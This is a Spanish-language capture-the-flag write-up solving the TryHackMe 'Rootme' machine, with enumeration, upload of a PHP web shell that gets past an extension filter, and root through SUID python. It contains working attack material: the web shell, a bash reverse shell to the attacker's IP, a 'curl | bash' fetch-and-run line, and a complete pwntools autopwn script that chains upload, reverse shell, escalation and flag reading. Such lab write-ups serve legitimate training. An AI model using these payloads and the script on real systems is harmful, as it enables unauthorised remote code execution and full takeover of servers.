Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de TryHackMe llamada Rootme, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:
- Enumeración del sistema.
- Fuzzing de directorios web.
- Arbitrary file upload Bypass (extesion).
- Abuso de permisos SUID.
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
4
ping -c 1 10.10.136.211
PING 10.10.136.211 (10.10.136.211) 56(84) bytes of data.
64 bytes from 10.10.136.211: icmp_seq=1 ttl=63 time=221 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
en búsqueda de puertos abiertos, en este caso utilizando parámetros como -sS y –min-rate para acelerar el proceso, pues estamos en un CTF:
1
sudo nmap -p- -sS --open --min-rate 5000 10.10.136.211 -oG portScan
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
sudo nmap -sCV -p22,80 10.10.136.211 -oN services
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
| 256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_ 256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: HackIT - Home
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Tenemos un servicio http, si intentamos buscar por vulnerabilidades asociadas a las versiones de los servicios utilizados en la máquina, no encontraremos nada, por lo tanto, utilizando la herramienta whatweb
vamos a enumerar información del sitio web que nos puede ser de utilidad:
1
2
3
whatweb 10.10.136.211
http://10.10.136.211 [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.136.211], Script, Title[HackIT - Home]
Vamos a ingresar a la web para ver que encontramos:
Vemos la página principal, sin embargo, no hay mucho que hacer con respecto al análisis de parte de la web, pues no podemos realizar ninguna interacción con la misma. Echemosle un ojo al código fuente por si encontramos algo especial:
Pero no encontramos nada de utilidad.
En este punto, vamos a intentar descubrir nuevos directorios de la página, esto lo realizaremos utilizando la herramienta wfuzz
:
1
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.136.211/FUZZ
Como estamos ante una máquina CTF, utilizaremos 200 hilos para realizar el fuzzing, no tenemos que preocuparnos por bloqueos o saturación del servidor web. Vamos a ver que directorios ha encontrado:
1
2
3
4
5
000000550: 301 9 L 28 W 312 Ch "css"
000000953: 301 9 L 28 W 311 Ch "js"
000005520: 301 9 L 28 W 314 Ch "panel"
000007771: 301 9 L 28 W 316 Ch "Website"
000000164: 301 9 L 28 W 316 Ch "uploads"
Vemos un par de directorios que llaman la atención, llamados panel y uploads, vamos a revisar que son:
Al ingresar al directorio panel, nos encontramos con la posibilidad de subir un archivo, como vemos que utiliza PHPSESSID sabemos que estamos ante una web en php, podríamos subir un archivo php malicioso, el cual nos permita como atacantes poder ejecutar comandos en el sistema, en este caso en servidor web. Sin embargo, no sabemos aún que tipo de archivos podemos subir, ni tampoco donde se están almacenando.
Si vamos atrás un poco, vemos que tenemos otro directorio llamado uploads, esto nos hace pensar que probablemente allí se almacenen archivos que se suban a la web, vamos a ver este directorio:
Vemos que no existe ningún archivo en este momento, vamos a intentar subir un archivo de prueba a la web para ver si se almacena en este directorio.
Para ello crearemos un archivo .txt con un mensaje y lo cargamos en la web:
Cargamos el archivo testing.txt y le damos en upload:
Al parecer el archivo ha sido subido exitosamente, vamos a revisar el directorio uploads para ver si allí se encuentra el testing.txt:
Vemos que está nuestro archivo, vamos a abrirlo:
Es exitoso, por lo tanto, vamos a intentar subir un archivo php malicioso:
Explotación
1
2
3
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']). "</pre>" ;
?>
Este pequeño archivo php nos ayudará mediante la función shell_exec ejecutar comandos en el servidor web, todo esto a través de una variable llamada “cmd”, la cual se recibe como parámetro en la url. Vamos a llamar a este archivo reverse.php y lo intentaremos subir al servidor web:
Le damos a upload:
Vemos que no le ha gustado para nada, nos dice que las extensiones php no están permitidas. Vamos a intentar burlar esta medida de seguridad, todo pensando que el servidor web simplemente está verificando si las extensiones son seguras o no. Para ello, vamos a ir a la web de HackTricks, y vamos a ver todas las posibles extensiones alternativas que podemos utilizar para nuestro archivo php malicioso, son bastantes, intentemos automatizar este proceso.
En primer lugar, vamos a entender como se tramita la data, para ello vamos a utilizar Burpsuite
, si interceptamos la petición:
Vemos que hay 2 parámetros, el primero que contiene el payload y otro tiene la data Upload, si vemos a la derecha:
Esto nos hace pensar que necesitamos tanto el file que se está subiendo, como una data llamada submit, que vale Upload, para ello vamos a construir el siguiente script en python, que utilizando la libraría request subirá los archivos a la web:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url = "http://10.10.22.79/panel/" # Change victim IP
extensions= [".php", ".php2", ".php3", ".php4", ".php5", ".php6", ".php7", ".phps", ".phps", ".pht", ".phtm", ".phtml", ".pgif", ".shtml", ".htaccess", ".phar", ".inc", ".hphp", ".ctp", ".module"]
s = requests.Session()
def File_Upload():
for ext in extensions:
payload = """ <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?> """
data = {
'submit' : "Upload"
}
files = {'fileUpload':(f'shell{ext}',payload),
}
r = s.post(url,files=files,data=data)
if __name__ == '__main__':
File_Upload()
Si ejectuamos el código, y vamos a la sección de uploads, encontraremos lo siguiente:
Vemos que muchos archivos han pasado el filtro de la extensión, vamos a ir revisando uno por uno para ver que encontramos:
Por ejemplo, vemos que este ha fallado, pues el servidor no está interpretando el código php, en caso de que estuviese interpretandolo, deberíamos ver la página en blanco, si revisando uno por uno, vamos a encontrar solo 2 extensiones que presentan una página en blanco, tenemos .phar y .phtlm, vamos a utilizar el .phar e intentemos enviar un comando utilizando la variable cmd que definimos en el archivo .php:
Vemos que el comando id se ha ejecutado correctamente y somos el usuario www-data, vamos a intentar que el servidor nos envíe en una conexión hacia nuestra máquina para ganar acceso al sistema.
Esto consta de 3 partes, en primer lugar tenemos el archivo que queremos que el servidor ejecute para que nos mande un conexión reversa hacia nuestra máquina:
1
2
3
!#/bin/bash
bash -i >& /dev/tcp/10.18.87.177/1234 0>&1
Este es un pequeño script de bash, que utilizando el /dev/tcp, envía una bash interactiva hacia el ip y el puerto especificado en el script. Para que la máquina víctima pueda ejecutar esto, vamos a compartirlo a través de un servidor http con python, de la siguiente manera:
1
2
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Este servidor http, estará corriendo en la misma carpeta donde tenemos nuestro archivo bash, le pondremos el nombre de index.html, debido a que si se le realiza una petición http a algún servidor, por defecto va a apuntar al archivo index.html, no importa que no sea un archivo html, lo que nos interesa es que la máquina víctima tenga acceso a este recurso.
Lo último corresponde a nuestro listener, el cual será netcat, estaremos escuchando cualquier conexión entrante para el puerto 1234:
1
2
nc -nvlp 1234
listening on [any] 1234 ...
Con todo lo anterior listo en nuestro equipo de atacante, vamos a proceder a realizar la petición http desde el servidor web, al momento que la máquina obtenga el index.html, haremos que ese output, es decir, la conexión bash interactiva hacia nuestra máquina, sea interpretada con bash, para que la máquina víctima ejecute esa instrucción y ganemos acceso:
1
http://10.10.22.79/uploads/shell.phar?cmd=curl 10.18.87.177 | bash
Al darle al enter, vamos a ver que ha llegado una petición a nuestro servidor http:
1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.22.79 - - [18/Mar/2023 17:16:39] "GET / HTTP/1.1" 200 -
Por lo tanto, si vemos nuestro netcat:
1
2
3
4
5
6
7
8
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.18.87.177] from (UNKNOWN) [10.10.22.79] 51626
bash: cannot set terminal process group (897): Inappropriate ioctl for device
bash: no job control in this shell
www-data@rootme:/var/www/html/uploads$ whoami
whoami
www-data
Bien, hemos ganado acceso a la máquina.
De paso, encontramos la flag y somos capaces de leerla:
1
2
3
www-data@rootme:/var/www$ cat user.txt
cat user.txt
THM{*******}
Escalada de privilegios
El primer paso será arreglar la terminal, para ello vamos a ejecutar los siguiente comandos:
- script /dev/null -c bash
- control + z
- stty ray -echo; fg
- reset xterm
- export TERM=xterm
- export SHELL=bash
- stty rows X columns Y (dependiendo de tu stty size)
De esta forma obtenemos una stty más cómoda.
Si buscamos dentro del directorio web no vamos a encontrar nada interesante, no existen bases de datos ni nada por el estilo, por lo tanto, vamos a buscar en el sistema alguna forma de escalar privilegios, el primer paso es buscar algún privilegio especial SUID:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
www-data@rootme:/var/www$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
Encontramos muchos, sin embargo, nos llama la atención python:
1
2
www-data@rootme:/var/www$ ls -al /usr/bin/python
-rwsr-sr-x 1 root root 3665768 Aug 4 2020 /usr/bin/python
Utilizando python, tenemos una forma de escalar privilegios, vamos a iniciar python:
1
2
3
4
5
www-data@rootme:/var/www$ python
Python 2.7.17 (default, Jul 20 2020, 15:37:01)
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
Vamos a importar la librería os:
1
2
3
4
5
www-data@rootme:/var/www$ python
Python 2.7.17 (default, Jul 20 2020, 15:37:01)
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
Utilizando esta librería podemos ejectuar comando en el sistema, por ejemplo:
1
2
3
4
5
6
7
8
www-data@rootme:/var/www$ python
Python 2.7.17 (default, Jul 20 2020, 15:37:01)
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("whoami")
www-data
0
Tenemos una forma de cambiar nuestro uid a 0, que corresponde a root:
1
2
3
4
5
6
7
8
9
10
11
12
www-data@rootme:/var/www$ python
Python 2.7.17 (default, Jul 20 2020, 15:37:01)
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("whoami")
www-data
0
>>> os.setuid(0)
>>> os.system("whoami")
root
0
Observamos que somos root, ahora simplemente debemos darnos una bash:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@rootme:/var/www$ python
Python 2.7.17 (default, Jul 20 2020, 15:37:01)
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("whoami")
www-data
0
>>> os.setuid(0)
>>> os.system("whoami")
root
0
>>> os.system("bash")
root@rootme:/var/www# whoami
root
root@rootme:/var/www# cat /root/root.txt
THM{******}
¡Listo!, somos root.
Antes de terminar, vamos a realizar un autopwn de la máquina, esto será desde la subida del archivo malicioso hasta convertise en root.
Lo vamos a realizar de la siguiente manera, en primer lugar vamos a importar las librerías necesarias:
1
2
3
import requests
from pwn import *
from os import sys
En caso de no tener pwn, se debe instalar desde su página oficial.
Luego, vamos a definir los argumentos que recibirá el script, en este caso será la ip de la máquina víctima:
1
2
3
if len(sys.argv) < 3:
print(f'[!] Uso: python3 {sys.argv[0]} "Your_ip" "Target_IP"\n' )
sys.exit(1)
El siguiente paso corresponde a definir las variables globales que utilizaremos, en este caso las url y una barra de progreso:
1
2
3
4
5
url = f"http://{sys.argv[2]}/panel/"
url_up = f"http://{sys.argv[2]}/uploads/"
progress = log.progress("Autopwn")
s = requests.Session()
Tenemos la primera función, que se encarga de subir el archivo php malicioso a la web:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def file_upload():
payload = """ <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?> """
data = {
'submit' : "Upload"
}
files = {'fileUpload':(f'shell.phar',payload),
}
progress.status('Subiendo archivo php malicioso')
sleep(2)
r = s.post(url,files=files,data=data)
Observamos que es la misma estructura que en el script de la explotación, sin embargo, ya no es una lista, pues como ya sabemos el tipo de extensión permitida, de la misma manera, pudo ser la extensión phtml.
Luego, tenemos la función encarga de enviar la conexión reversa:
1
2
3
def conection():
url_reverse = url_up + f"shell.phar?cmd=bash -c 'bash -i >%26 /dev/tcp/{sys.argv[1]}/1234 0>%261'"
r = s.get(url_reverse)
Esta corresponde a una versión alternativa para obtener la shell reversa, claramente es más sencillo que abrir el servidor en python y todo el tema, sin embargo, este método no siempre tiene resultados, hay veces que simplemente no funciona, por lo tanto, es mejor optar por las soluciones que normalmente funcionan en todos los sistemas, a pesar de ello, se utilizó en el código para variar y hacerlo más sencillo.
Finalmente, tenemos el main:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if __name__ == '__main__':
file_upload()
progress.status('Enviando conexión reversa...')
threading.Thread(target=conection, args=()).start()
shell = listen(1234,timeout=10).wait_for_connection()
shell.sendline("echo 'Ganando acceso como root...'")
shell.sendline("cd /tmp")
shell.sendline("echo 'import os ' > testing.py")
shell.sendline("echo 'os.setuid(0)' >> testing.py")
shell.sendline("""echo 'os.system("bash")' >> testing.py""")
shell.sendline("python testing.py")
shell.sendline("echo 'Listo, maquina rooteada, a continuacion las flags'")
shell.sendline("cat /var/www/user.txt")
shell.sendline("cat /root/root.txt")
shell.interactive()
Acá se hacen las llamadas a las funciones, utilizamos hilos para llamar a la función de conexión, esto es debido a que necesitamos tener el listener al mismo tiempo. Luego, cuando se establece la conexión, mediante la función sendline, se crea un archivo python igual en que la escalada de privilegios, se ejecuta y se gana acceso como root.
Si lo ejecutamos:
1
2
3
4
5
6
7
8
www-data@rootme:/tmp$ echo 'os.setuid(0)' >> testing.py
www-data@rootme:/tmp$ echo 'os.system("bash")' >> testing.py
www-data@rootme:/tmp$ python testing.py
Listo, maquina rooteada, a continuacion las flags
THM{y0u_g0t_a_sh3ll}
THM{pr1v1l3g3_3sc4l4t10n}
$ whoami
root
Acá está el código completo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
from pwn import *
from os import sys
if len(sys.argv) < 3:
print(f'[!] Uso: python3 {sys.argv[0]} "Your_ip" "Target_IP"\n' )
sys.exit(1)
url = f"http://{sys.argv[2]}/panel/"
url_up = f"http://{sys.argv[2]}/uploads/"
progress = log.progress("Autopwn")
s = requests.Session()
def file_upload():
payload = """ <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?> """
data = {
'submit' : "Upload"
}
files = {'fileUpload':(f'shell.phar',payload),
}
progress.status('Subiendo archivo php malicioso')
sleep(2)
r = s.post(url,files=files,data=data)
def conection():
url_reverse = url_up + f"shell.phar?cmd=bash -c 'bash -i >%26 /dev/tcp/{sys.argv[1]}/1234 0>%261'"
r = s.get(url_reverse)
if __name__ == '__main__':
file_upload()
progress.status('Enviando conexión reversa...')
threading.Thread(target=conection, args=()).start()
shell = listen(1234,timeout=10).wait_for_connection()
shell.sendline("echo 'Ganando acceso como root...'")
shell.sendline("cd /tmp")
shell.sendline("echo 'import os ' > testing.py")
shell.sendline("echo 'os.setuid(0)' >> testing.py")
shell.sendline("""echo 'os.system("bash")' >> testing.py""")
shell.sendline("python testing.py")
shell.sendline("echo 'Listo, maquina rooteada, a continuacion las flags'")
shell.sendline("cat /var/www/user.txt")
shell.sendline("cat /root/root.txt")
shell.interactive()
Hemos terminado la automatización de la intrusión.
Nos vemos, hasta la próxima.